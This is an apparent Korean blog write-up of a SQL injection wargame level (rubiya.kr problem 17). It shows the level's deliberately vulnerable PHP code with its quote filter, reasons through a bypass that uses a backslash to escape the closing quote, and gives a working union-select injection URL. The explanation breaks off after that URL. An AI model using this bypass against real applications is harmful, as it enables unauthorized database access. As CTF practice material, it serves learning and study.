http://rubiya.kr/sqli/prob17.php
<?php
include "./dbconn.php";
include "./solve.php";
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[id])) exit("HeHe");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob17 where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve();
highlight_file(__FILE__);
?>
이것도 몇일 갈 뻔 했으나... 생각을 '에 집중했다. 16번에서는 ereg함수의 취약점으로
어떻게던 '을 쓸쑤 있게끔 회피했지만, 17번에서는 preg_match()로 바꿈으로써, '를 쓰는건 불가능하다고
보면 된다. mysql에서 ''사이의 값은 어떤 별 생난리문자가 들어와도 그냥 문자열로 인식된다.
id='로 '가 열려있으므로 제대로 뒷부분을 닫아주던가 어떻게 우회하던가 해야되는데.....
유심히 살펴보던도중 \가 필터에서 제거된걸 확인했다. \'처럼 쓰면 '가 닫는문자가 아닌
문자열의 일부로 인식되는데 그걸 어떻게든 이용하면 될 것 같다. 또 지금보니 16번에서는
\가 막혀있는데 17번에서는 열려있다. \를 이용하는것 같다.
/**/로 id와 pw사이를 잘 막고 #으로 막고 등등 다 생각하다가 발견했다.
http://rubiya.kr/sqli/prob17.php?id=a\&pw=%20union%20select%20char(97)%23
처럼 하면
'webhacking > sql, sql injection' 카테고리의 다른 글
mysql 이상한 주석문 (0) | 2014.08.31 |
---|---|
webhacking.kr 9번. (16) | 2014.08.31 |
rubiya.kr 16번. (0) | 2014.08.30 |
itchy (0) | 2014.08.29 |
rubiya.kr 14번. (0) | 2014.08.28 |